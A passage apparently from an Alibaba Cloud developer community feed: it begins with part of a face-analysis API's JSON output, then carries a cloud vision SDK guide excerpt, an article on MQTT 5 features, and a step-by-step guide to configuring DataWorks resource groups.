84,134.89815,295.66925,164.45665,292.1699,149.60397,291.95166,171.31633,274.76694,170.2747,304.4685,168.94858,266.22827,193.92517,302.42032,192.44437,270.48566,194.2832,299.55276,192.66603,290.05713,187.14513,285.31912,185.94043,294.46677,185.23206,275.90512,190.2536,299.16956,188.03613,271.14185,192.28717,280.5561,187.97525,297.01196,186.32373,301.1165,190.00436,290.05225,203.61697,277.08542,201.52136,297.71817,199.77597,271.36432,198.14256,283.40683,203.55316,294.30585,202.5436,300.55865,196.42651,288.81824,191.16074,288.67923,195.36182,279.5578,192.15158,279.53964,195.53891,294.35068,190.81023,294.18457,194.28722,275.07022,193.41968,274.98834,195.08836,284.1584,191.38687,284.11246,195.62051,291.57602,190.84729,291.46356,194.98413,297.016,191.54263,296.91992,193.64496,205.03276,123.912,326.3453,128.34164,286.5284,226.46132,222.12424,191.12917,318.54773,179.30034,209.86812,157.62778,325.25934,153.81529,252.76677,217.2527,306.638,204.64838],"pupils":[258.4259,129.01984,4.8242416,307.9649,129.62544,4.8242416],"genderList":[0],"ageList":[26],"expressions":[0],"glasses":[0],"denseFeatures":["0.0062323068268597126","-0.01609094999730587","-0.05855942890048027","0.013578688725829124","0.017316190525889397","0.015570717863738537","0.025795521214604378","-0.031761091202497482","-0.020784065127372742","0.067468874156475067","0.026714051142334938","0.003611723193898797","0.030583707615733147","-0.019580893218517303","0.012557036243379116","-0.051964320242404938","0.000018714930774876848","-0.014783307909965515","0.011708073318004608","0.022817255929112434","0.045208454132080078","-0.020419484004378319","-0.030514661222696304","-0.019735962152481079","0.00044727331260219216","0.035465989261865616","0.021744119003415108","0.011055182665586472","-0.0054965522140264511","0.011192821897566319","-0.0017274696147069335","-0.049042459577322006","-0.036879580467939377","0.052879117429256439","0.021764444187283516","-0.015532377175986767","-0.031474955379962921","-0.0098183546215295792","0.012340373359620571","0.017107205465435982","0.014313721098005772","-0.024959683418273926","0.017509518191218376","-0.035784315317869186","0.0014354463201016188","-0.016915671527385712","0.015805298462510109","-0.011180947534739971","-0.0035389969125390053","-0.0059423940256237984","0.007082521915435791","0.037421956658363342","0.0096414405852556229","0.046347819268703461","0.051275257021188736","0.030819578096270561","0.03505074605345726","-0.000025494215151411481","-0.046174898743629456","0.013240336440503597","-0.030522294342517853","0.036980684846639633","0.015900734812021255","-0.0021136628929525614","0.020452043041586876","0.0064469063654541969","-0.0049698557704687119","-0.066247984766960144","0.036436326801776886","-0.0045633544214069843","-0.0023351025301963091","-0.046545635908842087","0.027488380670547485","0.012334304861724377","-0.012196188792586327","-0.010267695412039757","0.015900397673249245","0.00085387169383466244","-0.04404030367732048","-0.03099202923476696","0.0035390739794820547","-0.024733796715736389","0.035087544471025467","-0.013947821222245693","0.00173740996979177","0.020211052149534225","-0.052919995039701462","-0.06060308963060379","0.0015183360083028674","0.018183233216404915","-0.01919802650809288","0.020383996888995171","0.012518494389951229","-0.00095052702818065882","-0.047632075846195221","0.048110466450452805","-0.020627938210964203","-0.038426924496889114","-0.02841116301715374","-0.0350998155772686","-0.016847748309373856","-0.000032185202144319192","-0.018308296799659729","0.042054891586303711","0.0093163261190056801","-0.061192836612462997","-0.0034597683697938919","-0.0079865911975502968","-0.059370100498199463","0.029577422887086868","-0.0076327803544700146","0.044245708733797073","-0.04269082099199295","-0.035914808511734009","-0.015180599875748158","-0.024819616228342056","0.026063498109579086","0.0058755041100084782","0.032434836030006409","0.038400635123252869","0.024236869066953659","0.009387994185090065","-0.011057289317250252","0.041921462863683701","-0.052595704793930054","-0.0324978306889534","-0.00097683188505470753","-0.015495800413191319","-0.04706815630197525","-0.011809834279119968","-0.024933157488703728","0.057382918894290924","-0.020299986004829407","-0.006055083591490984","-0.0042034019716084003","-0.0076963193714618683","-0.022321190685033798","-0.031564518809318542","0.015719395130872726","0.044838648289442062","-0.00620234664529562","0.0012876696418970823","0.032176557928323746","0.0037463887128978968","0.026909582316875458","0.020307503640651703","-0.025439823046326637","-0.045474380254745483","0.052146673202514648","-0.011067869141697884","0.0065964763052761555","0.038796257227659225","0.054593350738286972","0.064664669334888458","0.056860119104385376","-0.0069352304562926292","0.0090285427868366241","0.032889556139707565","-0.0036004739813506603","-0.016938026994466782","0.020180460065603256","-0.013100916519761086","0.0090590789914131165","0.074110575020313263","-0.031864657998085022","0.031873889267444611","0.011598640121519566","0.021473780274391174","0.017639623954892159","-0.043116826564073563","-0.022329693660140038","0.027205374091863632","0.021710222586989403","-0.0078899748623371124","0.011472503654658794","0.020741242915391922","-0.0001043991869664751","-0.074632145464420319","0.028463318943977356","-0.05167829617857933","-0.019333614036440849","0.0056292195804417133","0.048118982464075089","0.000055308839364442974","0.039857275784015656","0.018865983933210373","-0.031962644308805466","-0.039391700178384781","0.010312868282198906","0.015280798077583313","0.0097893867641687393","-0.02853040024638176","0.015456159599125385","-0.020407693460583687","-0.013432378880679607","0.039778769016265869","0.042700987309217453","0.0034025188069790602","0.014825655147433281","-0.0059998654760420322","0.0072914292104542255","0.0037343383301049471","0.021776655688881874","0.029641520231962204","0.038974039256572723","0.01802489161491394","-0.044653072953224182","0.01177827175706625","-0.022850664332509041","-0.028872635215520859","0.015676707029342651","0.016089560464024544","0.017455592751502991","-0.0018586065853014588","0.0078252144157886505","0.0083385752514004707","0.02054300345480442","-0.011556461453437805","-0.0031126178801059723","-0.011972378939390182","0.01111189927905798","-0.030870867893099785","0.040560290217399597","0.0076172454282641411","-0.032100945711135864","0.030360795557498932","-0.013125477358698845","0.0068021058104932308","0.057948913425207138","-0.019315889105200768","-0.018317196518182755","-0.041808262467384338","-0.0031985884997993708","-0.001760828890837729","0.049383778125047684","0.018734293058514595","-0.027073228731751442","-0.045467853546142578","-0.018210455775260925","0.023191003128886223","-0.015837408602237701","-0.02680891752243042","-0.0079211778938770294","-0.017989896237850189","0.0080677522346377373","0.0047319228760898113","0.014103658497333527","0.064368076622486115","0.014047632925212383","0.032442629337310791","0.076559804379940033","0.010659415274858475","-0.03233993798494339","-0.028614215552806854","-0.02221708744764328","0.050966456532478333","0.044204927980899811","0.019712872803211212","-0.074778810143470764","0.014632442034780979","-0.017918204888701439","0.015998981893062592","-0.027481475844979286","-0.011126719415187836","0.045115772634744644","-0.036787349730730057","-0.0073632732965052128","-0.019231678918004036","0.044070761650800705","-0.029374921694397926","-0.020222960039973259","0.018465684726834297","0.026822276413440704","0.035917390137910843","0.022185517475008965","-0.010243485681712627","0.040857329964637756","0.021765410900115967","-0.0057466509751975536","-0.06923878937959671","-0.026128951460123062","-0.038247019052505493","-0.0066399076022207737","-0.0065499669872224331","-0.0069579659029841423","-0.016245730221271515","0.019091319292783737","-0.03348170593380928","-0.014243403449654579","-0.0069647212512791157","-0.068051934242248535","-0.0086853615939617157","0.004460169468075037","-0.027256622910499573","-0.019154369831085205","0.022241970524191856","-0.0005447976291179657","0.063987091183662415","-0.030799856409430504","-0.029413163661956787","-0.016256293281912804","0.018430165946483612","0.083070136606693268","-0.012309533543884754","-0.012804779224097729","0.0015323737170547247","-0.01254285778850317","-0.025532178580760956","0.025614989921450615","-0.01438440103083849","-0.063498198986053467","-0.021367955952882767","0.011391950771212578","0.023410338908433914","-0.025298751890659332","0.010106288827955723","-0.034917265176773071","-0.04843582957983017","-0.020266240462660789","0.0033050989732146263","-0.047838896512985229","0.0067635104060173035","-0.015999099239706993","-0.029256358742713928","-0.025174740701913834","0.007235704455524683","-0.059437926858663559","0.0010337972780689597","0.019077729433774948","-0.00048630021046847105","0.0050426581874489784","0.048182550817728043","0.00097323226509615779","0.0059387595392763615","0.03994368389248848","0.038755763322114944","-0.040722355246543884","-0.026970745995640755","0.0067456313408911228","0.024006057530641556","0.053872812539339066","0.013809908181428909","0.024203745648264885","0.0039798314683139324","0.00012575319851748645","0.046741452068090439","-0.023304389789700508","0.090087138116359711","0.0038978084921836853","-0.045967951416969299","0.067829079926013947","0.01649513840675354","0.017177212983369827","-0.0051080682314932346","-0.01125019695609808","0.0068109971471130848","-0.012809171341359615","-0.007810552604496479","-0.021128671243786812","-0.025662083178758621","0.034812275320291519","-0.0086243152618408203","-0.037316948175430298","-0.020375082269310951","-0.035498742014169693","-0.02951044961810112","-0.042086139321327209","-0.0067458455450832844","0.000061167927924543619","-0.0034076296724379063","-0.038003865629434586","0.01072658970952034","0.019315179437398911","-0.016884082928299904","-0.032634325325489044","-0.064066506922245026","0.015612599439918995","0.029569607228040695","-0.038492344319820404","-0.034511245787143707","-0.062877006828784943","-0.05151565745472908","0.042008627206087112","-0.014669724740087986","-0.023583592846989632","-0.0010493663139641285","0.060816634446382523","-0.03140702098608017","0.014364995993673801","0.082590267062187195","-0.021920083090662956","-0.017597518861293793","-0.0037565955426543951","-0.018711591139435768","0.033743821084499359","-0.032517209649085999","0.0221849475055933","0.018995240330696106","0.014324406161904335","0.024524182081222534","0.0067273266613483429","-0.033617150038480759","0.049119606614112854","-0.029138470068573952","-0.0438084676861763","-0.0019404363119974732","0.0093934722244739532","0.062351822853088379","0.033731028437614441","0.040029298514127731","-0.0049404255114495754","0.014027077704668045","-0.029995722696185112","0.020652882754802704","0.0059818937443196774","-0.016921481117606163","0.0083278762176632881","-0.024056289345026016","-0.031622070819139481","0.057450316846370697","0.045380450785160065","0.0025653373450040817","-0.052568964660167694","0.10336485505104065","0.038499053567647934","0.055692914873361588","0.011040543206036091","0.031226079910993576","0.058243624866008759","0.011262026615440845","-0.056003332138061523","-0.018104437738656998","0.01253928430378437","-0.034563843160867691","0.0067199422046542168","0.032645761966705322","-0.056044556200504303","-0.044990580528974533","-0.023951612412929535","0.035325486212968826","0.023567875847220421","-0.01618841290473938","-0.036231514066457748","-0.045412518084049225","0.060782559216022491","0.0051948814652860165","0.084505751729011536","-0.0082995500415563583","0.041066013276576996","0.0040073809213936329","-0.042512804269790649","-0.048162467777729034","0.041754502803087234","-0.019217981025576591","-0.016517793759703636","0.03063090518116951","0.00095875386614352465","0.01965736597776413","-0.014118490740656853","-0.024788696318864822","0.0064652208238840103","-0.012363933958113194","0.054244861006736755","-0.0046066991053521633","0.0089712375774979591","0.028796644881367683","0.050697933882474899","0.037805128842592239","0.0080345859751105309","0.025042766705155373","-0.029699871316552162","-0.056154951453208923","0.014108480885624886","0.018762098625302315","-0.034102164208889008","-0.034273218363523483","-0.026329426094889641","0.037139881402254105","-0.062098167836666107","-0.081375792622566223","0.010863793082535267","-0.025252597406506538","0.02761676162481308","0.017495982348918915","0.0027303225360810757","0.0057484395802021027","0.013433915562927723","-0.058709684759378433","0.052422460168600082","-0.042793497443199158","0.014122470282018185","0.0088307829573750496","-0.01681789755821228","-0.029158206656575203","-0.022225856781005859","-0.031916134059429169","-0.046829286962747574","-0.012649068608880043","-0.00026151284691877663","-0.028414664790034294","-0.031304303556680679","-0.0018465789034962654","0.03087565116584301","-0.0058190836571156979","-0.048201218247413635","0.014473960734903812","-0.036707304418087006","0.0021006495226174593","0.0080987168475985527","-0.015489339828491211","-0.034246675670146942","0.04643123596906662","0.025424718856811523","0.01152107585221529","0.018801966682076454","-0.0040955450385808945","-0.015463866293430328","-0.034636344760656357","0.031886521726846695","-0.01079166866838932","-0.0049703200347721577","-0.02523050457239151","0.044568326324224472","0.033711712807416916","-0.016133228316903114","-0.035988278687000275","0.03234105184674263","-0.023466967046260834","-0.019025219604372978","-0.019048159942030907","-0.034895110875368118","0.052318401634693146","0.0083751659840345383","0.03410806879401207","-0.00083958456525579095","-0.032040711492300034","-0.0024342630058526993","-0.013880782760679722","-0.037186477333307266","-0.027815315872430801","0.037868563085794449","0.0051797451451420784","0.020444136112928391","-0.063563652336597443","-0.021242771297693253","0.050000123679637909","0.02591034397482872","-0.0038537576328963041","-0.04709877073764801","0.046941664069890976","0.052735470235347748","0.012901507318019867","0.070544153451919556","-0.038141604512929916","0.036275789141654968","-0.019921109080314636","0.042247883975505829","-0.043480034917593002","-0.010172370821237564","0.0021293861791491508","-0.028953736647963524","-0.052216965705156326","-0.020822402089834213","-0.014013201929628849","-0.00008253737905761227","0.052195791155099869","0.0093923052772879601","-0.044935628771781921","-0.0085015203803777695","0.024124879390001297","-0.062777765095233917","-0.036827314645051956","0.0080696456134319305","0.036229230463504791","0.058140378445386887","-0.0092789949849247932","-0.021662190556526184","-0.0083641335368156433","0.012864556163549423","-0.050974152982234955","0.032826397567987442","0.012169938534498215","-0.028934994712471962","-0.031922917813062668","-0.052377320826053619","0.027165815234184265","0.050943054258823395","-0.021785933524370193","0.043248113244771957","0.010098542086780071","0.00019349843205418438","-0.05757540836930275","-0.0072806468233466148","0.01019725389778614","0.032236892729997635","0.015952857211232185","0.032066993415355682","0.029744938015937805","-0.01905621774494648","-0.045385044068098068","0.036611706018447876","0.0066210757941007614","0.0094449389725923538","-0.027589606121182442","0.016461700201034546","-0.0077823223546147346","-0.041846182197332382","0.034828685224056244","0.017446171492338181","-0.052557285875082016","0.0050186673179268837","-0.024216510355472565","-0.081622771918773651","0.0091984234750270844","0.051684264093637466","0.025192439556121826","-0.034122757613658905","-0.0052440748549997807","-0.015809319913387299","-0.004581233486533165","0.014171257615089417","0.008129599504172802","-0.021400673314929008","0.0053263846784830093","-0.057595096528530121","-0.048958126455545425","-0.010591652244329453","0.034509617835283279","-0.011747068725526333","-0.01536832470446825","0.057191397994756699","0.041678499430418015","0.0081582218408584595","0.012456420809030533","-0.009583725593984127","0.008100682869553566","0.0031558661721646786","0.0109176030382514","0.064801372587680817","-0.0022962556686252356","-0.021409561857581139","0.033792454749345779","-0.048382159322500229","0.014451907947659492","0.0059677297249436378","-0.00044239702401682734","-0.011409902945160866","-0.027746366336941719","-0.03605160117149353","-0.045269317924976349","0.01279150415211916","0.0019581587985157967","-0.0020888971630483866","-0.020036043599247932","-0.044856533408164978","0.0039421604014933109","-0.07139403373003006","0.047535169869661331","0.049012698233127594","0.019987480714917183","0.029092408716678619","0.017776641994714737","0.025182444602251053","0.023857105523347855","0.042959537357091904","0.00013699266128242016","-0.028529105708003044","0.023965669795870781","0.041112598031759262","-0.037874642759561539","0.048991862684488297","-0.00653475197032094","-0.024579014629125595","0.00049095758004114032","-0.0079156812280416489","-0.047126751393079758","0.071013219654560089","0.03472181037068367","-0.031929034739732742","0.016513673588633537","-0.010075889527797699","0.040114860981702805","0.013994429260492325","0.012287551537156105","-0.032812014222145081","0.0016327238408848643","-0.064959093928337097","0.031154466792941093","0.0068539991043508053","-0.013208710588514805","-0.031908757984638214","-0.0016371107194572687","0.0071987919509410858","0.022153737023472786","-0.03087470680475235","0.034972187131643295","0.049401123076677322","0.024872979149222374","-0.077612556517124176","-0.012455985881388187","0.036753073334693909","-0.01405194029211998","0.027884079143404961","0.012465081177651882","-0.035105202347040176","-0.0075818626210093498","-0.0069672283716499805","0.048141427338123322","0.028858788311481476","0.00025721368729136884","-0.040066830813884735","0.0014622161397710443","0.030169641599059105","-0.059333249926567078","0.021283112466335297","-0.0032376260496675968","0.0029027673881500959","0.01906251348555088","0.0027891537174582481","-0.041874296963214874","-0.021789593622088432","0.02555941604077816","-0.027516553178429604","-0.05893382802605629","0.013233315199613571","0.0011453790357336402","-0.019252745434641838","-0.025465389713644981","-0.034757349640130997","-0.0054775075986981392","-0.045516341924667358","-0.001085492898710072","0.047120876610279083","-0.013660535216331482","-0.011550325900316238","0.029723417013883591","0.036955013871192932","0.01528996042907238","0.010140550322830677","-0.0091948537155985832","-0.012459804303944111","0.035405870527029037","0.033054336905479431","-0.05081750825047493","-0.032007187604904175","0.00045310115092433989","0.0022982161026448011","-0.021375576034188271","-0.06589093804359436","-0.010031724348664284","0.0032275272533297539","0.022443190217018127","-0.03982861340045929","0.0090473005548119545","0.041912097483873367","-0.028591340407729149","0.017408011481165886","0.013440687209367752","0.039407212287187576","0.041552495211362839","0.060922130942344666","-0.019685106351971626","0.045234821736812592","0.041568558663129807","-0.064709320664405823","-0.011605829931795597","-0.032307717949151993","0.00042468757601454854","0.041148081421852112","0.015884397551417351","-0.051471445709466934","0.02456970140337944","-0.033784512430429459","-0.01282590813934803","0.005420144647359848","0.009268428198993206","0.020875602960586548","-0.0025644281413406134","0.013699488714337349","0.015716355293989182","-0.034364074468612671","0.012294784188270569","-0.078312002122402191","-0.0084169367328286171","-0.014313976280391216","-0.039502523839473724","0.053581263870000839","-0.063144847750663757","0.047653336077928543","-0.016266213729977608","0.0082104122266173363","-0.016928860917687416","-0.0044058668427169323","-0.030942698940634727","-0.023294717073440552","0.0017842194065451622","0.048312928527593613","-0.0090782418847084045","0.043545074760913849","-0.016002973541617393","0.012644227594137192","0.0265765730291605","-0.037527661770582199","0.02339487336575985","0.05156402662396431","0.015406133607029915","0.004276384599506855","-0.0070321690291166306","-0.042033277451992035","0.058680973947048187","-0.015110128559172153","0.0047962893731892109","0.0059718363918364048","0.045030742883682251","0.064096450805664062","-0.003191325580701232","0.02625812403857708","-0.021657578647136688","0.0057030776515603065","0.024679005146026611","0.010235891677439213","0.0085714291781187057","0.0043683559633791447","-0.0013384731719270349","-0.032304558902978897","0.023605607450008392","0.014149476774036884","0.0109654376283288","0.015143657103180885","0.015046743676066399","-0.038568302989006042","-0.038528285920619965","0.011236979626119137","-0.025369726121425629","0.055973459035158157","0.018718807026743889","-0.025864714756608009","0.030091756954789162","0.0013164445990696549","0.00057339185150340199","-0.064360827207565308","-0.012906063348054886","0.0034620484802871943","0.014356989413499832","0.017133485525846481","0.021567631512880325","0.017463948577642441","-0.0014367788098752499","-0.020890412852168083","-0.016210101544857025","-0.017038362100720406","0.010037066414952278","-0.026234546676278114","-0.056842043995857239","-0.014512426219880581","-0.06042042002081871","-0.022452659904956818","0.021336065605282784","-0.016691680997610092","-0.011164197698235512","-0.029525091871619225","-0.025480533018708229","0.0042118770070374012","-0.015735160559415817","0.032136447727680206","0.0041854502633213997","-0.020438734441995621","0.076694108545780182","-0.0036484841257333755","0.023236086592078209","-0.039500512182712555","-0.0015090758679434657","0.031888514757156372","0.015133208595216274","-0.02348969504237175","0.044906798750162125","-0.066632568836212158","0.025468748062849045","-0.0060418942011892796","0.020514510571956635","0.036223940551280975","-0.009272424504160881","0.060885176062583923","-0.0099294530227780342","-0.052457321435213089","-0.056213948875665665","0.014344155788421631","-0.032518576830625534","0.032282724976539612","0.036751952022314072","-0.025929033756256104","0.018518880009651184","-0.019394898787140846","0.0068311532959342003","0.05245324969291687","-0.039174716919660568","-0.048582535237073898","0.0011561013525351882","0.017790405079722404","-0.01643357053399086","-0.049929458647966385","0.036252126097679138","-0.020776716992259026","0.0002475242072250694","-0.011554141528904438","-0.025592241436243057","-0.031543798744678497","0.0027104560285806656","0.0040559684857726097","-0.0088570844382047653","-0.015721358358860016","0.052296154201030731","0.0065034516155719757","-0.043009243905544281","0.00116425019223243","-0.033595483750104904","-0.02116975374519825","-0.017566148191690445","0.024619759991765022","-0.014311874285340309","0.016497461125254631","0.018848594278097153","0.045476578176021576","-0.023886771872639656","-0.051341291517019272","0.0075972722843289375","-0.014594352804124355","-0.012045273557305336","0.072023235261440277","0.06177515909075737","0.043867267668247223","0.01437155157327652","-0.017503920942544937","-0.027045952156186104","-0.025263704359531403","0.044192709028720856","0.031014043837785721","-0.01096632145345211","0.010185156017541885","0.025975469499826431","0.013955087400972843","0.0048585818149149418","-0.026284877210855484","0.0080909468233585358","0.017444219440221786","-0.0055520781315863132","0.045520935207605362","-0.0078024850226938725","-0.038060460239648819","0.010827029123902321","-0.024897065013647079","-0.013160087168216705","0.058125834912061691","-0.062533773481845856","-0.010152896866202354","-0.016298338770866394","-0.04064733162522316","-0.046113383024930954","0.078393608331680298","0.03755655512213707","0.0053914985619485378","-0.057606589049100876","-0.043919969350099564","0.021365439519286156","0.026853812858462334","0.030740223824977875","0.018762025982141495","0.01572703942656517","0.022228090092539787","0.032824315130710602","-0.022597517818212509","0.030992275103926659","0.053923375904560089","0.034722913056612015","0.031224744394421577","0.0092822695150971413","0.051702916622161865","-0.0098973708227276802","0.0038156528025865555","-0.015450360253453255","-0.044829998165369034","-0.039629608392715454","-0.0024909507483243942","-0.018148347735404968","-0.0079016368836164474","-0.016922442242503166","-0.033927209675312042","-0.053018759936094284","0.012871190905570984","0.021040583029389381","-0.061914790421724319","-0.0072820698842406273","-0.0059254518710076809","0.012277343310415745","-0.01105133630335331","0.033080924302339554","0.027128327637910843","0.013721102848649025","-0.025148013606667519","0.0092962440103292465","0.037593502551317215","0.0047180498950183392","0.0068480405025184155","0.026855239644646645","-0.0078885834664106369","-0.073328278958797455","0.01110873743891716","0.033726423978805542","-0.0022311336360871792","-0.034604396671056747","-0.046817436814308167","-0.044667843729257584","-0.023600392043590546","-0.0086772330105304718","0.050678357481956482","0.012474903836846352","-0.0042293989099562168","0.031384211033582687","-0.025575734674930573","0.018860623240470886","0.01185201108455658","0.0091602066531777382","-0.037882648408412933","0.010725664906203747"]}}
        
        • 3.4 其它类型接口调用

        JAVA SDK
        SDK 版本
        JAVA(支持本地上传)

        注意

        1、Java SDK当前仅ScanImage(内容安全)和ExtendImageStyle(图像增强)不支持本地文件;
        2、其它语言SDK暂时还不支持本地文件;
        • 3.5 图片URL

        目前服务端在阿里云上海区域,使用图片URL时,图片必须在上海区域的OSS且具有可读权限,内网和公网地址均可。
        _

        4、使用监控

        _

        5、服务支持

        1、阿里云工单咨询;
        2、用户钉钉群号 : 23109592

        更多参考

        阿里云视觉智能开放平台介绍
        使用限制
        常见问题FAQ

        ]]>
        升级到MQTT 5的五个原因-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 12.17.19-Five-Reasons-to-Upgrade-to-MQTT-5.png

        MQTT已成为将物联网(IoT)设备连接到云的流行协议。MQTT最初开发于1999年,用于监视卫星网络上的石油和管道。当时,需要一种协议,它对于电源有限的远程设备有效,带宽使用效率高并且能够在不可靠的网络连接上运行的协议。开发MQTT时,还没有创造出IoT这个术语,也没有云计算,也没有出现各种IoT使用案例。

        由于这些原因,需要更新MQTT协议,以解决在大型云平台上托管MQTT和处理其他物联网用例所需的某些缺少的功能。 在2015/2016年,OASIS内部开始研究新版本的规范MQTT5。在2019年3月,MQTT 5被批准为正式的OASIS标准。

        在MQTT中有许多新特性,但是有5个关键特性改进部署MQTT系统的错误处理、可扩展性和灵活性。


        会话和消息到期Session and Message Expiry

        MQTT 5现在允许每个会话和消息指定一个时间限制。如果在设定的时间内未发送消息,则将其删除。如果消息需要在一定时间内到达,这对于安全关键型用例而言可能非常重要。


        共享订阅(Shared Subscriptions)


        共享订阅允许多个MQTT客户端实例共享来自MQTT代理的相同主题的订阅。如果已设置MQTT客户端以将MQTT数据流传输到后端企业系统(例如数据库)中,则此功能非常有用。可以在不同的群集节点之间部署共享相同订阅的不同MQTT客户端,以帮助实现可伸缩性和高可用性。


        负面确认(Negative Acknowledgements)

        现在,支持MQTT 5的MQTT代理可以发送否定确认消息,以拒绝某些类型的消息,例如最大QoS,最大消息大小以及代理中不受支持的功能。拒绝超过最大消息大小的消息对于识别可能已变为恶意的MQTT客户端很有用。


        有效载荷格式指示器(Payload Format Indicators)

        MQTT始终与有效负载无关,但是MQTT 5现在允许添加有效负载格式指示符,二进制值或文本。 这将使处理MQTT消息更加容易。


        用户属性(User Properties)

        除了有效载荷格式指示符之外,MQTT 5消息现在还可以包括用户属性,这些属性将键值属性添加到消息头中。这些属性允许将特定于应用程序的信息添加到每个消息头。


        结论

        MQTT社区正在逐渐包括对各种MQTT实现的MQTT 5支持,包括Eclipse Paho,Mosquitto和HiveMQ。 如果您正在考虑在下一个物联网应用程序中使用MQTT,请强烈考虑使用MQTT 5。


        原文链接 ]]>
        任务不再等待!玩转DataWorks资源组-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 引言

        DataWorks提供了三种资源组的能力:独享资源组、自定义资源组和默认资源组,很多开发者在使用资源组时经常会碰到各类情况,到时候任务运行失败或者延迟,例如:
        1. 正在使用默认资源组,任务经常要等待
        2.购买错了资源组类型(独享数据集成资源组与独享调度资源组),使用不了
        3.购买错了地域(杭州开通DataWorks购买了北京的资源组)
        4.没买错资源组类型,也没买错地域,当天还是用不了

        通过本篇文章,为您介绍三种资源组的使用场景、使用方式等;下图描述了整个任务在运行过程中不同类型使用的资源组的流程;
        image.png
            调度有三种资源组:默认、独享、自定义;DataWorks中的数据集成也有同样的三种资源组:默认、独享、自定义;数据集成的同步资源管理复用调度系统资源管理系统,在使用DataWorks的时候,如果需要使用数据集成任务,那么需要区分开调度和数据集成2种资源组的概念;

        默认资源组

            默认资源组是DataWorks在租户开始使用时候就给每个租户颁发的资源组了,租户内所有项目共享,不需要任何配置、操作就可以运行任务;但是该默认资源组需要说明节点:

        • 使用场景:

          • 默认资源组是在租户购买了DataWorks时候就会默认创建的,可以支持用户在页面进行数据开发、运行测试等能力,目前是免费支持的;
          • 任务量相对较少,或者相对来说对任务时效性要求不高的场景
        • 提供的能力

          • 支持所有的任务类型,但不支持:

            • 需要公网访问外部服务,且需要白名单的不支持;
            • 需要访问VPC的任务不支持
            • 需要访问公网的也不建议使用,建议切换其他资源组使用;
          • 任务安全沙箱的能力
        • 注意事项

          • 默认资源组最大调度资源是有固定分配的默认大小的;所有租户下项目共享,会存在项目之间的资源抢占,不能100%保障任务按时获得资源运行;
          • 默认资源组是在平台的公共集群下的,所有租户都共享该集群资源,所以在高峰期会存在租户之间的资源抢占,不能100%保障任务按时获得资源运行;
        • 费用

          • 按量付费(实例费用、同步进程费用等)

        独享资源组

            目前DataWorks的独享资源组提供了2种:独享调度资源组和独享数据集成资源组,在此处为了更好的理解为什么需要2种资源组的方式,可以将独享数据集成资源组理解为MaxCompute的计算资源概念,因为数据集成隶属于DataWorks产品内,所以在同步资源是跟调度资源在一起购买的;可以参考引言中的图;

        一、独享调度资源组

        (1)信息说明
        • 版本要求:无
        • 类型:

          • 独享调度资源组
          • 独享数据集成资源组
        • 使用场景

          • 推荐只要生产任务都使用独享资源组

            • 资源可随时调配
            • 任务产出可得到保障
          • 任务量大、且对任务时效性要求高的场景必须使用独享
          • 需要访问公网地址、访问VPC地址,请使用独享
          • 访问目的端服务,需要配置白名单的场景,请使用独享
          • 自己VPC与IDC已经打通,任务需要访问IDC的,可使用独享解决网络问题;
        • 注意事项

          • 独享目前不能支持跨租户节点、机器学习任务;其余支持
          • 购买独享资源组的时候,务必要注意购买与自己VPC在同一个可用区
          • 切换任务资源组的时候:

            • 注意每种任务类型都需要测试验证:网络是否已经打通
        • 费用:

          • 调度:相对默认资源组,如果实例超过500个,独享资源会相对便宜很多;不收取实例费用,仅资源费用;
        (2)如何修改任务运行到独享调度资源组

        特别特别注意:
        1、在运维中心任务修改资源组周期任务是需要第二天才会生效,及时生效可以通过测试或者补数据运行即可;
        2、__一定要先单个测试在批量修改,__一定要先单个测试在批量修改,__一定要先单个测试在批量修改
        3、如果有网络打通的,优先将网络打通,可以在测试的时候验证出来的;
        详细操作步骤:

        • step1:购买独享资源组

          • 说明:一般按照实际的任务并发数来购买对应的资源数量,可以参考:https://help.aliyun.com/document_detail/125776.html?spm=a2c4g.11186623.6.573.20a87b75cx5tkl 里面的场景三
          • 购买指引:https://help.aliyun.com/document_detail/121526.html?spm=a2c4g.11174283.6.641.4b1c2b65Y7CSE8
          • 登录管控台:目前需要有主账户权限或者已经授权过的子账户
          • 打开页面,点击“新增独享资源组”image.png
          • 新增页面,选择“独享调度资源组”:
          • image.png
          • 点击购买链接,去购买:此处特别建议:至少购买2台(做容灾保障,Failover的能力)
          • image.png
          • 购买完毕后,就可以返回在控制台刚才的创建页面,选择订单号了:
          • 然后选择可用区:特别特别注意:可用区需要跟您的VPC在一个可用区:(就是你的任务是否需要访问VPC地址,比如访问ads、adb等,就需要跟次VPC在一个可用区)如果没有可用,提工单!

        image.png

        • step2:购买成功后,大概需要等待5分钟左右,资源组即可创建完毕;【需要点击刷新按钮,不会主动刷新】

        image.png

        • step3:将资源组分配到需要的项目中使用,点击:“修改归属空间”,点击确定接口

        image.png

        • step4:指定完毕项目空间后,就可以切换到运维中心去修改任务资源组了;
        • step5:打开运维中心,切换到指定项目下,比如此处上述资源组分配到了monitor_prj项目中,到该项目的到周期任务中,选择需要修改的,点击下方有个更多里面有个修改资源组;

        特别特别注意:虚节点、工作流、机器学习等任务类型不要选择上,因为这些不支持资源组修改;
        image.png  -> image.png

        • step6:修改完毕资源组后,可以点击任务详情,查看属性,就可以看到任务的资源组信息:

        image.png
        image.png

        • step7:测试验收:

          • 任务资源组修改完毕后,可以进行测试、补数据运行,任务就会运行到当前的资源组上,可以通过查看日志判断任务是否已经在独享资源组上:

        image.png -> image.png

        • 任务运行成功,在看下日志了,是否都OK的,就说明该任务运行到独享资源组上没有什么问题;
        • step8:批量修改同一种任务类型的任务切换到该资源组上:

          • 过滤节点类型
          • 全选

        image.png
        以上,就完成了将任务迁移到独享资源组运行的操作了;

        二、独享数据集成资源组

        (一)信息说明
        • 版本要求:无
        • 使用场景

          • 推荐只要生产任务都使用独享数据集成资源组

            • 资源可随时调配
            • 任务产出可得到保障
          • 任务量大、且对任务时效性要求高的场景必须使用独享
          • 需要访问公网地址、访问VPC地址,请使用独享
          • 访问目的端服务,需要配置白名单的场景,请使用独享
          • 自己VPC与IDC已经打通,任务需要访问IDC的,可使用独享解决网络问题;
        • 注意事项

          • 如果数据源是经典网络的,不可迁移到独享,因为独享是VPC的
          • 购买独享资源组的时候,务必要注意购买与自己VPC在同一个可用区
        (二)如何修改任务运行到独享数据集成资源组

        写在最前面:
        1、一定要先单个测试在批量修改,一定要先单个测试在批量修改,一定要先单个测试在批量修改
        2、如果有网络打通的,优先将网络打通,可以在测试的时候验证出来的;
        3、独享数据集成资源组是在数据开发页面修改提交,发布后是及时生效的;
        详细操作步骤:

